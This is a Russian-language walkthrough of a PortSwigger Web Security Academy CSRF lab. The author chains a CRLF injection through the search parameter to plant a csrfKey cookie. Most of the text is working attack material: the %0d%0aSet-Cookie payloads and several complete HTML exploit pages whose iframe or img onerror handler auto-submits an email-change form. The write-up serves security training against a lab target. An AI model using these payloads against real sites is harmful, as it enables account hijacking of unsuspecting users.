На странице
apsyleg1 мин
#portswigger #csrf #crlf-injection #web-security

CSRF с токеном, привязанным не к сессионной куке

Лаборатория

CSRF where token is tied to non-session cookie · Practitioner

Решение

Дано: нужно заменить email пользователя, создав вредоносную страницу, попутно обойдя защиту с помощью CSRF-токена. Ок, изучим, как работает смена email.

Скрытое поле CSRF — 6m9B7huvo0lU04m7EVxdWFMD7jDLb8J1. Смотрим, что у нас в куках: session и csrfKey. Интересно. Чекаем запрос на POST /change-email. Улетает email + CSRF из скрытого поля. И естественно куки.

Получается, сервер проверяет соответствие csrf-токена и csrfKey, session он не учитывает при проверке.

Вектор атаки: подмена куки csrfKey у жертвы и подстановка csrf-токена. Нам дали эксплоит-сервер.

Главный вопрос — как установить куку жертве? Как мне подсказал ментор, можно посмотреть в сторону \r\n-атаки и инжектить свой заголовок Set-Cookie, при учёте, что на сайте есть функция, которая рефлектит в этот заголовок.

Похоже, функция поиска — единственный вариант. Пробуем поискать wr3dmast3r. И правда:

set-cookie: LastSearchTerm=wr3dmast3r; Secure; HttpOnly

Тогда нагрузка может выглядеть так — ?search=wr3dmast3r%0d%0aSet-Cookie:%20csrfKey=hacked%3B%20path=%2F:

GET /?search=test%0d%0aSet-Cookie:%20csrfKey=some%3B%20path=%2F HTTP/2

Ответ от сервера:

Set-Cookie: LastSearchTerm=test
Set-Cookie: csrfKey=hacked; path=/; Secure; HttpOnly

Для реализации полной атаки на эксплоит-сервере разместим страницу с iframe и формой смены пароля, который будет загружать страницу поиска с нашей нагрузкой, которая установит заранее подготовленный csrfKey в куки пользователя, в событии onload уже засабмиттим форму с заранее подготовленным csrf-токеном, и таким образом мы сменим пароль.

Форма:

<form id="csrf" action="URL лабы + /my-account/change-email" method="POST">
    <input name="email" value="wr3dmast3r@m.com">
    <input name="csrf" value="TOKEN">
</form>

iframe:

<iframe src="https://LAB/?search=x%0d%0aSet-Cookie:%20csrfKey=KEY%3B%20path=%2F"
  onload="document.getElementById('csrf').submit()}"></iframe>

Сделаем запрос на /my-account и получим ключ и токен для атаки:

csrfKey=4R2LwIb3nq5LOTqKFrlbX8vbXdPF7rGi
csrf=g3ehBjNaTdNvZFQZrjQZOJtgKfwN4t7J

Итог:

<form id="csrf" action="https://0adc008703793a5cb59757ad003c00b7.web-security-academy.net/my-account/change-email" method="POST">
    <input name="email" value="wr3dmast3r@m.com">
    <input name="csrf" value="g3ehBjNaTdNvZFQZrjQZOJtgKfwN4t7J">
</form>

<iframe src="https://0adc008703793a5cb59757ad003c00b7.web-security-academy.net/?search=x%0d%0aSet-Cookie:%20csrfKey=4R2LwIb3nq5LOTqKFrlbX8vbXdPF7rGi%3B%20path=%2F"
  onload="document.getElementById('csrf').submit()}"></iframe>

Проблема, установлен X-Frame-Options:

Refused to display 'https://0adc008703793a5cb59757ad003c00b7.web-security-academy.net/' in a frame because it set 'X-Frame-Options' to 'sameorigin'.

Можно попробовать img, нам ведь нужно только запрос отправить. Только обработчик будет onerror:

<img src="https://0adc008703793a5cb59757ad003c00b7.web-security-academy.net/?search=x%0d%0aSet-Cookie:%20csrfKey=4R2LwIb3nq5LOTqKFrlbX8vbXdPF7rGi%3B%20path=%2F" onerror="document.getElementById('csrf').submit()}">

Итог 2:

<form id="csrf" action="https://0adc008703793a5cb59757ad003c00b7.web-security-academy.net/my-account/change-email" method="POST">
    <input name="email" value="wr3dmast3r@m.com">
    <input name="csrf" value="g3ehBjNaTdNvZFQZrjQZOJtgKfwN4t7J">
</form>

<img src="https://0adc008703793a5cb59757ad003c00b7.web-security-academy.net/?search=x%0d%0aSet-Cookie:%20csrfKey=4R2LwIb3nq5LOTqKFrlbX8vbXdPF7rGi%3B%20path=%2F" onerror="document.getElementById('csrf').submit()">

Странно, чекаю на своём акке. Улетает наш картиночный запрос https://0adc008703793a5cb59757ad003c00b7.web-security-academy.net/?search=x%0d%0aSet-Cookie:%20csrfKey=4R2LwIb3nq5LOTqKFrlbX8vbXdPF7rGi%3B%20path=%2F, ок, ставятся наши куки csrfKey=4R2LwIb3nq5LOTqKFrlbX8vbXdPF7rGi;.

После этого мы сабмиттим форму, там есть csrfg3ehBjNaTdNvZFQZrjQZOJtgKfwN4t7J. И смотрим куки, опа, а тут другой csrfKeycsrfKey=Fwfr4OYp5ZylU8JjNAQt6ZSKfrfRqvr4;.

Видимо, всё-таки не ставится.

Почитал, попробую поставить SameSite=None;.

Итог 3:

<form id="csrf" action="https://0adc008703793a5cb59757ad003c00b7.web-security-academy.net/my-account/change-email" method="POST">
    <input name="email" value="wr3dmast3r@m.com">
    <input name="csrf" value="g3ehBjNaTdNvZFQZrjQZOJtgKfwN4t7J">
</form>

<img src="https://0adc008703793a5cb59757ad003c00b7.web-security-academy.net/?search=x%0d%0aSet-Cookie:%20csrfKey=4R2LwIb3nq5LOTqKFrlbX8vbXdPF7rGi%3B%20path=%2F%3B%20SameSite=None%3B%20Secure" onerror="document.getElementById('csrf').submit()">

Отлично, протестировал на себе — вроде работает! Попробуем заслать на проверку.

Не понимаю, PortSwigger не засчитывает...